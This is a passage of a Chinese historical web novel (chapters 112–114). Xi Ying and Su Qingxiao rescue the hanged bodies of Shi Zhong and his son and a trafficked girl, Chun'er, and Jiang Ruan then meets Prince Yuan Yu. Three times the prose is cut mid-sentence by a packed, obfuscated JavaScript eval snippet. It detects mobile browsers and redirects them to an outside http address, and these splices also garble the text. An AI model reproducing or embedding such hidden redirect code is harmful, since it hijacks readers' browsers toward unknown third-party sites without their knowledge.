在那之后宁渡开始用自己的力量做一些事,他用那些江湖上得来的情义走出了一条别人都走不通的路,昌用商行押的镖从来没出过岔子,而那些和他称兄道弟的土匪们被他拉进了商行,宁渡给了他们一个相对安稳的日子。 那时的宁渡后知后觉,无论过去的他做了多少荒唐事,实际上他的心早就被佛经里“无缘大慈,同体大悲”的想法浸透了。 乱世可乱的是世道,不可乱的是人心。 人活在这世上打娘胎里来,最终都会化作一抔土,看似每个人都不过了了,可要怎么活,还是不一样的。 于是宁渡把买回来的陈京观当成了自己的儿子,他用自己肚子里不多的文墨给陈京观讲道理,硬是把一个一只脚踏进地府的孩子拉回了人间,宁渡希望佛光能扫去陈京观眼里的仇恨和黑暗。 可陈京观说这世道让善良的人活不下去了,那一刻宁渡好似停住了呼吸,他回想起陈京观那双发亮的眼睛,那是他用心良苦教出来的好孩子,难道是他错了吗? 想到这里,宁渡只剩下苦笑,他最终还是应下了陈京观的“利用”,托了伙计挨家挨户去送信,他那些老伙计们大多都成家立业,他却用了一句话让他们重新回到了这条路上。 “救救我儿子。” 宁渡不知道他这次该不该拉住陈京观,继续告诉他人本善,可他知道陈京观现在需要他,他想让陈京观自己感受人心。 “无心无情可称利用,若是心甘情愿,那便是爱。” 陈京观再收到宁渡的回信时,这句话他看了好多遍。 爱,陈京观一时有些恍惚。他突然觉得自己其实和江阮也没差多少,江阮心里只有利用,而陈京观只能想到利用,他们都没有爱人的能力。 他和江阮唯一的区别,恐怕就是陈京观还被人爱着。 那一刻陈京观想明白了很多事情,董辉至死方休是爱,席英无条件信任是爱,苏清晓回心转意是爱,陆栖野坚定选择是爱,沁格出兵援救是爱,苏晋、温书让、平海,陈京观能活到现在,靠的就是这说不清道不明的爱。 爱让怯懦者无畏,爱让骄傲者低头,爱驱动了一切。 比起战争能获得的利益,虚无的爱反而更让人向往。 “我们回来了。” 陈京观抬头,眼前的门帘被掀开,席英朝他展露了一个微笑,陈京观将她浑身上下打量了一遍,确定她毫发无损后松了一口气。 “还算顺利,主要是席英身手真的很好。” 苏清晓探出一个脑袋,席英稍微往帐篷里走了一步,让苏清晓站到了自己身边。 “还是多亏了苏先生的计划,让我们先在敬安山歇了脚,趁着守卫交班的空档冲出去抢人,时机和地方都选得很好。” 陈京观脸上露出一丝意味不明的笑容,“你们就别相互 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145693|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谦让了,功劳是你们两个的。” “不过,”苏清晓笑着笑着突然话锋一转,“我觉得也是因为廊州守军不足的缘故,我那日顺便在廊州几个城边岗哨处转了一圈,那些人看上去是廊州自己的卫兵,江阮甚至没有派东亭军进驻。” 陈京观缓缓点头,他朝着门口的二人走过去。 “也就是说江阮已经有了新目标?” 苏清晓点头,“我觉得他没认出我,但是认出席英了。那天我在城门外接应她,她几乎一个飞身就跃上了城墙,这样的动作太引人瞩目了。索性她动作快没有被抓到,但是应该暴露了。” 苏清晓说完,他察觉到席英变得有些不知所措,他小声安慰道:“没有怪你的意思,你做的很好,就是要让江阮有所察觉。” 陈京观应了一声,“没错,他如果感觉那个人是你,他就会更主动地逼我出来,我估计他现在准备得差不多了。” 苏清晓顿了顿,陈京观看出了他的迟疑,他朝苏清晓微微点头示意他直接说。 “我有一种预感,他会直接打阙州。” 闻言,陈京观不自觉皱起了眉头,虽说他对现在的南魏朝廷已经不抱有幻想了,可他不希望南魏的皇位被江阮捷足先登。 “阙州应该能守得住。” 陈京观的话说完,他满面愁容的神色却未消减半分。他对此没有怀疑,崇宁无论如何也不是个等死的人,可她要如何换取生机,陈京观觉得不会是什么光彩的手段。 “算了,南魏的事情权当他们自作自受,只要萧霖和崇宁别直接死了,我们就有希望回去他们面前耀武扬威。” 不知何时平芜站在了他们身后,虽说他这两年也长高了不少,可苏清晓还是把他挡得严严实实,陈京观侧过脑袋看到他,伸手招呼他进来。 “你小子这话说的,有江阮的味道了。” 平芜努了努嘴,脸上竟还透出一丝得意,“该说不说,江阮做事狠辣,毫无章法,但是一击毙命,我挺佩服他的。” 陈京观没回答,平芜的话让他回味了很久。 “不过哥放心,我可是师父带大的,差点也被他送进庙里。” 陈京观笑着轻拍了平芜的脑袋,眼前的少年人脸红着挠着头,席英听到了宁渡的名字,抬头看着陈京观。 “这次也亏得宁掌柜护送,我没想到他还有道上的朋友。” 陈京观“噗”的一声没忍住笑了,席英不明所以地看着他。 “道上的朋友,好名字。”陈京观正了正颜色,“师父好歹混了快三十年了,昌用能到今天的程度光靠明面上的手段肯定是不行的,在穆家兄弟发迹之前,广梁的土匪们基本都认师父的名号。” “没事,穆家兄弟认你。” 穆晓山的声音响起,一时间这帐篷站了五六个人,陈京观嘴上打趣了一句,“真热闹啊,帐篷要塞不下了。” 众人嬉笑着应和,陈京观无奈地摇了摇头,推着他们朝外走,“出去聊吧,顺便找别吉给他们安排个接风宴。” “姐姐。” 突然,站在最前面的席英停住了脚,陈京观应声从队伍最后面往前看,他看到席英蹲下身看着眼前的小姑娘,她用手揉了揉小姑娘的脸,擦掉了她的眼泪。 “不怕了,你到这就是回了家。我们先去吃饭,晚上你同我一起睡。” 陈京观认出了那个小姑娘,春儿,丛愈来的女儿。 112.伯玉知非(二) 席英牵着春儿的手往前走,她像是感受到了陈京观的目光,回头看了他一眼。 陈京观没有说话只是朝她笑着点了点头,席英转过身后苏清晓拉住了陈京观。 “认出来了?席英说你们认识她父亲。” 陈京观“嗯”了一声,“丛愈来,廊州市买司司丞,我在廊州任职的时候此人帮过我许多。” 苏清晓叹了一口气,他的目光越过人群落在了春儿身上,他再开口的时候嗓音发哑。 …… 那一日,席英和苏清晓刚到敬安山下的官驿,这驿站在廊州陷落前就已经被山上的土匪占了去,如今土匪归降了江阮,此地门前也有廊州官兵把守。 不过苏清晓料想到了,他临行前犹豫再三,还是给他和席英做了个人皮面具,他觉得此时回去被人认出来的概率应该不大,可他怕江阮瓮中捉鳖,别到时候人没抢回来他们就被抓了。 二人翻身下马走进店中,那里的掌柜看上去不像是寻常做买卖的,苏清晓给席英使了个眼色,席英开口问道:“店家,此地离廊州城还有多远?” “走快些赶天黑能到,就是最近不太平,城里的店你怕是住不上了。” 眼前的掌柜一边擦着桌台上的杯具,一边抬眼瞥了席英一眼,“怎么,住店吗?” 席英故作犹豫地停顿了一会儿,那店家转而看向了苏清晓。 “一起的?” “是,”苏清晓答道,“听说廊州出了事,我们兄妹二人想看看能不能寻个生财之道。” 苏清晓这话引起了店家的兴趣,他放下手里的杯子微微朝前探身。 “想发国难财?看不出来啊,文文弱弱地还有这魄力?” 苏清晓应和着轻笑道:“哪里,我们也不过是寻不到好出路了,这才想来碰碰运气。道上不是说一打仗就能捡到人吗,那不就是遍地黄金?” “你小子上道啊,”店家脸上地玩味不加掩饰,“想做人牙子的生意?” 苏清晓点头,店家四处张望了一番压低声音,“最近城里不太平,死的人多了活着的人就容易乱,那些被镇压的男人谁还没个亲眷,你要是有耐性,从此处往西二十里,运气好的话亥时能有人被送出来,那些官兵基本给钱就卖,反正他们手里人多的是。” 苏清晓装作大为震惊的模样,双眼炯炯地看着店家,“都是些什么人?有身份的要惹祸的。” 店家眼睛一斜,嘴角抑不住嘲讽,“廊州都是江家的地方了,原先南魏的狗不都是丧家犬?” 苏清晓眼角微微抽动,那细小的动作没有被任何人看到,只听他神色如常地附和着,“还是大哥您明白,受教了。这消息值多少钱,我给您。” 店家摆了摆手,抬头对上苏清晓的眼睛,“如今廊州子时戒备,你要想买了人还能活着离开,我这里是你唯一的落脚处。” 闻言,苏清晓和席英对视了一眼,两个人不自觉喜上眉梢。 他们是想着如今这天下不会有免费的消息,可也没想到就顺便探出了廊州的巡守安排。 “那您开两间房,多少银子?” 店家打着算盘的手顿了顿,“两间?你二人还真是兄妹?” “咳。” 席英轻咳了一声,有些不自然地摸了摸鼻子,她有些庆幸此时这人皮面具还能掩盖住她脸上的红晕。 店家没有再深究,伸手去摸柜子里的钥匙。 “两间也可以,但是我这的房可不便宜。” 苏清晓应了一声就要去接,却听到店家说道:“一晚上,五十两银子。” “多少?” 席英说完后觉得自己有些失态,忙往后退了退,只听店家继续道:“你二人要真是兄妹,住一间也行。我这是良心买卖,不多收你们的钱。” 苏清晓微微挑眉没有戳破店家的话,他方才看到那放钥匙的柜子里就只剩下一把,如今这店家不过是为了趁机抬价又怕房间不够他们不住了。 “行,就一间,定两个晚上。” “两晚?”店家警惕地看着苏清晓,“你们买了人还要再住一晚?” 苏清晓点头道:“我们人生路不熟,好不容易到这儿的,万一今儿运气不好蹲不到人,那可不得明天再试试。” 苏清晓的说辞有理有据,店家思虑半天将钥匙递给了他。 “也行,一次付清。” 苏清晓道了声“好”,从自己的包袱里掏出来两块银锭,店家本对他没什么意思了,可瞧见他那崭新的银锭眼睛里冒光。 “我还以为是碎银子呢,你都有着家底了,还干这辛苦事做甚?” 苏清晓拿着钥匙在手上颠了颠,转身把钥匙递给席英。 “你先上去,我再与大哥聊聊。” 席英虽说心存迟疑,可苏清晓信誓旦旦地朝她点头,她没说什么自己一个人去了二楼。 “我也不瞒大哥,”苏清晓看着席英的背影消失在楼梯间,又凑了过来和店家说,“她确实不是我妹妹,我心悦于她可她毫不知情,我怕她碍于家世身份不敢与我亲近,所以我一直装着是寻常人家的,实际上我家在阙州有祖产。” 店家听着苏清晓的话,按捺不住地想要去拉他的胳膊,“兄弟这是什么话,天下哪有不爱财的,说不定你同她明说了,她就应了你了。” 苏清晓满脸遗憾地摇头道:“大哥有所不知,我这心上人对钱财毫不动心,偏偏看重仁义礼智信。她听闻廊州有难,每日寝食难安,我也是为解她心忧,特地陪她来这一趟。方才同你说的不过是借口。” “她为何心忧?” 苏清晓叹气道:“史大人你可知道?那是她父亲的伯乐,她父亲听闻史大人去了,忧虑间得了重疾,她也是想了了父亲的心愿,她想去给史大人上柱香。” 苏清晓话音刚落,店家立刻用手堵住了他的嘴,“这话我权当没听过,你们今晚之后就离开吧,我将银子退给你。” 闻言,苏清晓马上露出一副眼巴巴地表情,他盯着店家声泪俱下,“别啊,若是此事我都办不成,她更是要瞧不上我了。大哥如此紧张可是有隐情?小弟愿意花钱。” “倒也算不得隐情,可能你刚来不知道,那史忠,”店家凑到苏清晓耳边,“他拿了刀要刺杀东亭将军汪恕,让汪将军一刀砍了头颅,血溅当场,他儿子上来救父亲,也让当场捅穿了,那场面吓得我连做了好几天噩梦。” 店家一脸唏嘘,苏清晓却不禁皱起眉头,“可我派人打听是说他们悬在城门上,我还想着带她远远去鞠一躬了事,他那副样子怎么……” “他们后来把人又缝上了,”店家咽了咽口水,“可是毕竟是针线,哪有血肉的韧劲。我听说是东亭那个指示的,也不知道他想做什么,人挂在那没多久就又分了身,差点没把路过的商客吓死。他居然让人从肩膀穿了绳子,我也是第一次见这么狠的人。” 店家的话还没说完,苏清晓胃里的不适感已经逼上了他的喉咙,他闭着眼睛压住了翻上来胃酸,双手慢慢攥成拳头,他庆幸让席英回了房。 “人就这么吊着?这都快十日了吧。” 店家点头,脸上竟也挂上一丝惋惜,“其实吧,史忠算个好官,就是人刻板了些。当初他要是别告陈京观那一状,说不定皇上能救他呢。可惜了,死了还要受这些。” “告状?” 店家点了点头,“当初陈京观私开粮仓救了好些快饿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151277|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死的人,结果史忠秉公用权,一封上奏书就将陈京观赶到了丰水县。明眼人谁看不出来皇上待陈京观亲近,让他小小年纪做了将军,他这不是得罪人是什么。” “再说了,”店家又恢复了原先吊儿郎当的样子,“陈京观做的那是于民百利的好事,反倒是史忠落井下石了。” 苏清晓没有对店家的这一番话做出任何评价,他那时在益州对陈京观的事情有所知悉,他能理解陈京观的行为,但是若他在,他不会支持的。 苏清晓知道在旁人眼里,陈京观假死前的这半辈子过得可谓是顺风顺水,明明是个豢养私兵的草莽,莫名其妙就让萧霖封了将军,一路所行之事十有八九都成了,哪怕就是私开粮仓都只给了酌降。 陈京观像是话本里得了天命的志士,直到他突然死在了朔州战场。 他的一生像是狗尾续貂的烂俗故事,他过去所做的一切都随着他的死记到了萧霖头上。因为萧霖是皇帝,普天之下没有人觉得皇帝会听一个臣子的,他们只觉得陈京观是萧霖为如今掌权做的铺垫。 这荒谬又合理的发展轨迹,让苏清晓觉得可笑。 怪不得人人都要做皇帝,果然是一将功成万骨枯。 “行了,我也就是看在你人大方嘴还甜,你快去劝劝你的小相好,这事是真的做不成,现在靠近城门的人无一不被盘查,比进阙州还难。” 苏清晓道了声谢,他转身看到席英在二楼倚着楼梯看他。 “打听到什么了?” 席英跟着苏清晓进了屋,苏清晓看到她在地上铺了一床褥子,把自己的东西都放在了上面,苏清晓顿了顿,指着床说:“你睡吧,我去和楼下大哥聊天也能熬一夜,他人挺有意思的。” 席英没有接苏清晓的话,她看得出苏清晓在瞒她。 苏清晓抿了抿嘴,自顾自坐下后倒了杯茶,一口气饮尽,彻底把嘴里的恶心压了下去。 “史大人死状凄惨,人现在就在城门吊着,把守的人很多,我们最好趁着子时他们巡视的时候去抢人。不过我们今晚先去那个买人的地方看看,免得让他们怀疑。” 席英“嗯”了一声,坐到了苏清晓身边,她犹豫了一下又给苏清晓倒了一杯茶。 “你有那么多银子?” 一时间苏清晓没反应过来,他看席英没有再说话的意思,突然想到是刚才交房钱的事情。 “我爹每年都会给我寄,我没用过,想着有朝一日全给他还回去。没机会了。” 苏清晓最后那句话顿了顿,席英侧过头看他,“苏大人很好,那次中秋是我过得最热闹的一个中秋。” 苏清晓嘴角噙着笑,“他是很好,是我的问题。” 席英没有接话,屋子里的气氛沉了沉,好像随着慢慢潜下去的太阳一般少了温度。 “席英,”苏清晓突然开口,“在你眼里陈京观是什么样的人?” “是亲人,是好人,是傻子。” 苏清晓笑着应道:“他是傻,我希望他傻人有傻福。” 席英“嗯”了一声,苏清晓继续问,“你不爱说话?那你会不会觉得陈京观挺吵的。” 席英摇头,“我没有不爱说话,只是不知道说什么。陈京观,才是真的不爱说话。” 一时间苏清晓有些恍惚,他发觉自己将记忆里的叽叽喳喳的陈京观和如今这个死了两回的人混作一谈了,他失神地应了一声,也没了话。 “苏先生,‘广庭清晓席群英’是什么意思?” 苏清晓顿了顿,“愿朝廷能多得良才,遍地群芳。” 席英没说话,不知过了多久,她缓缓起身拿起床边的剑,苏清晓听她回应道:“只可惜良才都让杀尽了。” 113.伯玉知非(三) 席英和苏清晓下了楼,夜半的微风穿堂而过,苏清晓紧了紧身上的披风,店家给他使着眼色,瞧见他宽慰似的摆了摆手,店家脸上只剩下对苏清晓色令智昏的鄙夷。 “当心点,别和人直接起冲突,那些人都不是你们两个小东西能惹得。” 苏清晓应了一声,笑着对店家鞠了一躬,等着他们离开客栈,席英冷不丁开口道:“这么快就熟悉了?我看他不像好人,倒是对你亲切。” “人不可貌相,再说了都是这世道讨口饭吃的,没人会和钱过不去。” 苏清晓语气淡淡得,他不远不近地跟在席英身后,刻意避开了席英垂在地上的影子。 “你真打算买个人回去?我们俩再加上城墙上的两个,再带一个人可不容易。” 苏清晓没有立刻回答,他抬头看着天边慢慢现了形的月亮,虽说那月光不似日光明媚,可在这黑夜里也是唯一的光明。 “我不是陈京观,”苏清晓语气含笑,“我倒是怕你等会儿会心软,毕竟听店家的话说那里可都是女眷。” 席英不再接话,却下意识将腰间的剑握紧了,苏清晓看到了她的动作,眼神从她的手升到了她的发梢,他原本还想说些什么,却想起席英说她不知道该说什么。 两个人自此一路无言,临近目的地的时候席英的步子慢了下来,她伸手示意苏清晓往远处看,月色的朦胧中好似有一队人马在他们所在方向前进。 “应该不止我们想要做这生意,我们先藏到买家里。” 席英点头,她放下手后步子更慢了,她与苏清晓的距离慢慢贴近,她微微弓腰看着不远处的移动人影,活像是藏在黑夜中的狼。 也不知道是不是他们当真得了上天眷顾,那天来这里交易的人牙子还不少,席英和苏清晓轻易地混了进去,随着人群前进的方向到了最后的地点,苏清晓顿了顿身,示意席英仔细听。 他们好像离水源不远,如若不是到了泯川江,就是到了崇州边境。 “今日市价,童子十两,童女十五两,豆蔻三十两。” 二人随着人群中的声音望去,只瞧见人堆里有个哨长打扮的男子牵着一群人,席英大概看了看,都是些比她小的孩子,有几个像是刚受了过度惊吓,脸色在月光下惨白一片。 “真可笑,在他们眼里女子也就这时候最值钱吧。或许没有这一遭,他们一辈子都见不到这些贵人家的小姐。” 席英的声音很低,人群的嘈杂起哄声盖住了她的嘲讽,可苏清晓站在她身后听得一清二楚。 席英背对着苏清晓,他看不到席英脸上的表情,只是他叹气的时候呼吸正好洒到了席英的头顶,席英不自觉地抖了抖。 “要是不舒服我们就先走,反正我们只是来装装样子,回去就说没看到喜欢的。” 席英“嗯”了一声,可她刚要回头,目光却被人群里一个瑟瑟发抖的小黑影吸引住了,她伸手拉住了苏清晓,还没来得及解释就带着他走了过去。 那一圈是明码标价的童女,她们彼此紧紧贴在一起取暖,九月的凉风顺着她们单薄的里衣直渗入皮肤,席英看到了几个想要趁机动手动脚的,她刚要拔剑,手却被苏清晓按了下去。 “记住你是来做什么的。” 席英的手微微发抖,她握着剑的手紧了紧,当她再次寻找那个有些熟悉的影子时她却看不到了。她四下张望着,那个刚刚和她在黑暗中对视的小姑娘不见了,没有人带走她,席英也没有听到任何哭声。 “是看到谁了?” 席英摇头,“应该是我看错了,我们走吧。” 突然,有人握住了席英的脚踝,那双小手打着颤,周围的人给她让了一条路,她就缩成一团跪在席英脚下。 “姐姐。” 席英顺着脚腕上的手看过去,她心里已经有了猜测,可当她把小姑娘抱起来的时候,看到她满脸泥水、泪水和血水交杂。 眼前的小姑娘用胳膊搂住了席英的脖子,趴在她肩上一下一下抽泣着,席英隐约听到她念叨,“爹爹被关到城里了,娘也不见了,大家都死了。” 霎那间席英鼻头一酸,她怀里这个微微发热的小家伙用眼泪湿了她的肩膀,也勾起了她的回忆,那些她以为早就被她尘封心底的画面又涌了上来。 她曾经也在阙州城门外哭到没了力气。 “十五两,交了钱我就让你带她走。” 席英感觉到怀里的小孩被另一股力量拉扯着,她毫不犹豫地拍掉了小姑娘背上的那只手,眼前的人吃痛地叫了一声,立刻冲了上来。 “知道我是谁吗!如今这廊州还没人敢这么对我!” 席英还没来得及说话,她身后的苏清晓用胳膊挡到了她和眼前人的中间。 “我给你二十两,告诉我她娘在哪?” 眼前的人神色缓和了些,没说话却先伸出手来,苏清晓从腰侧掏出钱袋子,丢给他几块碎银子。 “死了,二十五以上的我们都不要,卖不出好价钱。” 席英的手慢慢握紧,她感觉到怀里的抽泣幅度小了些,她将小姑娘抱得更紧了。 “好,”苏清晓脸上依旧带着笑,他说着又拿出一块银锭,“这个钱你收下,权当没见过我们。” “那是自然,这生意又不干净,我也希望你别记住我。” 眼前人拿钱时的手快出一道残影,他收了钱的确没有再纠缠席英,苏清晓长叹了一口气,心里也大概猜出了七八分,他将席英护在身前,带着两个人离开了人群。 “你的钱我到西芥会还你的。” “好。” 苏清晓没有客气,他也没有再继续追问,席英怀里的小姑娘像是哭累了,趴在席英肩膀上睡着了。 “我抱着?看着六七岁了,应该也挺沉的。” 席英摇了摇头,又将托着小姑娘的手往上抬了抬,苏清晓没有再坚持,他又慢下脚步,继续跟在席英后面。 “她叫春儿,大名我也不知道,她父母是很好的人。” 席英的声音幽幽荡过来,苏清晓看了一眼她的背影,“不用解释,明日照常按计划行事,就是风险大了些,我不知道那个人会不会去报官。” 席英的脚步一顿,她停下了站到苏清晓身侧,“我好像也变成他了。” 苏清晓轻笑一声,“我早说过啊,陈京观身上有劝人向善的能力,很神奇。” 席英继续朝前走着,不过此时她和苏清晓肩并肩。 “明日你抱着她在城外接应,要是时机不对就掉转马头跑。” 苏清晓没有应,席英侧过头看了他一眼,“我做我应该做的和我想做的,能不能成我都认了,我活不下来你就把她带给陈京观。” “好。” 苏清晓回答的很干脆,席英以为他还会有其他话,却没想到直到第二日他们在廊州城门外分别,苏清晓也没说过几个字了。 在席英眼里,苏清晓是个话有些多的人,但是他不像陆栖野一样率真,他的话总会如此刻一样戛然而止,仿佛之前谈笑风生的人不是他。 面对这样的沉默,席英有一种说不上来的感觉。 “我等你,就在这。” 第二日亥时,苏清晓和席英又推说去买人,店家也明白了苏清晓不到黄河不死心的脾气,没好气的收了他的封口费,摆了摆手让他们走了。 他们前脚离开客栈,后脚就朝另一个方向去了,苏清晓怀里护着春儿,小孩刚开始有些怕他,后来见席英很信任他也就对他慢慢放松警惕,他二人停下马看着席英离开时,春儿突然小声问苏清晓。 “哥哥,我以后是不是都没有家了?” 苏清晓一手拉着缰绳,另一只手用自己的披风裹住了春儿。 “想你爹娘了?” 春儿点了点头,语气有些哽咽,“那天我和娘等爹吃饭,等了好久他都没回来,还是邻居家的婶子说有兵打进来了,是她带我们从桥洞子底下跑出来的,可他们杀了娘和婶子。” 春儿顿了顿,“哥哥,我好像记不清爹的样子了。” 苏清晓说不出来话,他不知道自己是不是被冷风吹酸了眼睛,他想安慰春儿却又觉得无力,到最后只能微微弯腰用下颚靠在了春儿的头顶上,将她圈得更紧。 “等姐姐回来了,我们就回家。” 那一个时辰,苏清晓不知道想到了多少年少时候的画面,起初是三家人其乐融融在一起喝酒吃茶,后来他们三个长大了就变成大人们追着他们跑,再后来,那把火迷了他的眼睛。 苏清晓多希望年少时的自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155274|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己再多用些功,武艺上能再长进些,这样他就不用等着席英了。 等待,就像是时间在往前走,却把他一个人留在了原地。 另一边,席英的马在接近城门的时候发出一声嘶鸣,她以迅雷不及掩耳之势腾空而起,她用一只脚踩在城墙上借力,另一脚极力向上收缩,她看到史忠的时候差点没拿稳剑。 她知道苏清晓瞒她什么了。 可此时她没有犹豫的时间,她用右手拽着绳子的下端,中间一道剑光闪过,史忠已经落到了马背上,而席英的动作没有停顿,她左手抓着绳子荡到了另一边,又用相同的方式割断了史如脖子上的绳子。 城墙上的士兵像是在观察眼前到底是什么东西,这速度之快,力量之大完全不像一个普通人能拥有的,只是在他们反应的间隙,席英将两个人一前一后拴在了腰上,她的马一刻不停地离开了。 “走!” 不远处,马蹄声踏破尘土堆积的地块,苏清晓回过神时席英已经要走到他跟前,他叫醒了打瞌睡的春儿,让她自己用手抓着他的衣襟,而他背后用带子绑着史如。 “快些走,回到商道上就安全了。” 苏清晓说罢挥动着马鞭,那鞭子抽动空气留下阵阵闷响。 这一切就这么结束了,所有料想中的意外都没有发生,苏清晓那一刻只觉得幸运又回到了他们这边。 …… 苏清晓的话说完了,陈京观却好似还停留在故事里,他恍惚间抬眼,看到眼前是席英和春儿,小姑娘不知何时拉住了他的手。 那小手湿湿热热的,陈京观对着她笑了笑,侧过身时发现他面前的帐篷里躺着的正是史如和史忠。 “我派人打听了,史若是被史忠杀的,史忠离开前一把火烧了院子,史若就躺在自己的卧房里。” 所以史忠是想到自己会有如此下场了吗? 陈京观嘴角微微抽动,他觉得喉咙里的苦涩快要逼出他的胆汁,他点头道:“我知道了,你们辛苦了,这些日子好好休息。” 苏清晓和席英对视一眼,明白陈京观想要去帐子里自己待一会儿,可他们要带走春儿的时候,小姑娘声音糯糯地喊着陈京观。 “哥哥,我叫丛春晓,爹说你是好人,爹说好人一定有好报的,谢谢你。” 春儿松开了席英和陈京观的手,郑重地给眼前的人鞠了一躬。陈京观望着小孩,他突然觉得若他开了粮仓只是救活这样一个她,他也觉得值了。 “去吧,这里都是好人。” 陈京观微微翘起嘴角,摆了摆手让席英带走了春儿,他顿身片刻后进了营帐。 这里面没有点灯,虽说人刚放进来不久,可空气里已经有了一股挥之不去的腐臭味。他走过去看到史忠的时候,只觉得自己被人从背后打了一闷棍。 史忠脖子上的红色纹路像是活过来了一样,粗糙的针脚混合着血肉,结痂后的伤口有些发黑,这些日的风吹日晒,让史忠像一张毫无生气的布口袋,他变成了承载江阮对陈京观所有兴趣的容器。 “原来,史大人是这副模样。” 陈京观嘴唇微微发抖,史忠肩膀上的两个血窟窿深可见骨,那一截和肉身融为一体的麻绳静静趴在史忠肩上,陈京观想伸手帮他拆掉,可又怕弄疼他。 “对不起,我们来晚了。” 陈京观贴着帐篷的内壁缓缓下落,直到他要和史忠平齐。 “我想过他会变本加厉,想过他的心狠手辣,却没想到我看到的他,可能还只是千分之一。” 这是江阮第一次彻底地向陈京观展露自己的手段,他第一次将死亡血淋淋地挂在了陈京观面前。 这也是陈京观第一次逃避,是他学习江阮权衡之术的第一步。 “只是这样就受不了了吗?”陈京观心中那个小人用江阮的口吻嘲讽他,“这样就不行了,你还怎么和我斗?” 灰暗的帐篷里,陈京观将双手紧紧握住,铿锵作响。他的指甲嵌进了皮肉,顺着奔流的血液,握住了他的心脏。 与此同时,江阮像是感知到陈京观已经收到了自己这份大礼,他推开大殿的门让风吹走了他周遭的所有阴霾,他脚下的内侍连滚带爬逃了出去。 江阮抬起手,从信鸽腿上拆下了来自北梁的信。 114.伯玉知非(四) “戌时,朔州,一人前往。” 江阮看完那纸条上的内容,拇指不自觉地又将它团了回去,他抬头看着天上远去的信鸽,脸上的笑意慢慢凝结。 半晌,江阮挥手叫来了跟着自己的侍卫,让他帮自己安排马车,临走时江阮又转身回了书房,从匣子里精心挑选了一只匕首。 虽说那纸条上的指向含混不清,但是江阮看到右下角那个红点后对上了号,这是他留给孔肃的标记。 只是此时的孔肃应当被关在牢里,他不可能有机会出来,江阮明白这是元煜的手笔。 江阮近些时日脾气不好,所以他才会忍不住对方才的内侍动气,他本也不指望能靠史忠抓到人,只是他被元煜摆了一道,心里一直有口气出不来。 起初江阮以为是他低估了元衡对元煜的爱,可他后来也想明白了,元煜这么做其实是在帮元衡除掉孔肃。 孔肃的位子得来的太轻易,纵使有江阮的帮助,可也少不了元衡的默许,而元衡能放任他在自己的朝堂上煽风点火,不过是元衡看在孔肃来路清白,觉得他好拿捏。 至于孔肃是否真的来路清白,江阮是这世界上唯一一个知道真相的人,因为孔肃这清白的身世就是江阮给捏造的,他知道孔肃之前过得是什么日子。 不过这样一来江阮倒是松了一口气,他明白自己没看错人,元煜能活着只是因为他给了元衡一个合适的借口,所以元衡才保下了他。 江阮从来不相信什么父子之情,要是说这其中是帝王权衡,他倒理解了。 江阮长叹一口气上了车,那马车缓缓驶出未央宫,车夫甚至没有问地方就带着江阮往凌州边界去。 在凌州和朔州的交界处,原本有许多可供人通行的通道,那时候北梁刚打下东亭,为了让百姓迁居东亭去补充劳动力,元衡在泯川江沿岸建了好多桥,只是后来江阮起势,那些桥一夜之间归于尘烟。 此时的朔州和凌州在明面上已经找不到联系了,唯独靠近朔州城郊的一条小水道因为浅并没有引人注意,那里的桥被留了下来,成为了当地人往来北梁与东亭的唯一途径。 江阮到那里的时候已经戌时三刻,他感觉到马车停下了,却没有要下车的意思,他用手支开帘子朝外望,只能看见月光依稀照着那条小河。 “你先去村子里讨口水喝,约莫半个时辰你再回来。” 车夫应了声“是”,江阮听到一阵脚步声慢慢走远,紧接着另一个方向又传来了声响。 “您现在当了皇帝,还这么不在意自己的生死?来见我竟然一个侍卫也不带?” 江阮四平八稳地坐在马车里,外面的人像是停在了窗户旁,江阮透过忽明忽暗的光看到了一个轮廓。 “煜殿下不也如此?敢一个人跑到我东亭的地界,是真不怕我将你做的事情一五一十告诉老皇帝?” 元煜轻笑了一声,江阮感觉他又走近了些。 “如今孔肃进去了,您在北梁还有几个能说得上话的?” 江阮没回答,元煜就继续道:“孔肃不过是父亲制衡陆林两家的工具,他在您这什么地位,在北梁也不过如此,他能得到的消息终究还只是一个臣子能得到的。” “怎么?煜殿下能得到天子的消息?” 江阮语气中的轻蔑不言分毫,元煜也没恼,他隔着帘子朝江阮行礼道:“原先你我依靠孔肃传话,这其中必定带着他自己的心思,除掉他,您想得到的都可以直接和我说。” “啧,”江阮露出一丝恼怒的意味,“可孔肃我养了这么多年,就这么让煜殿下您做了挡箭牌,您要怎么做才能赔了我的损失?” 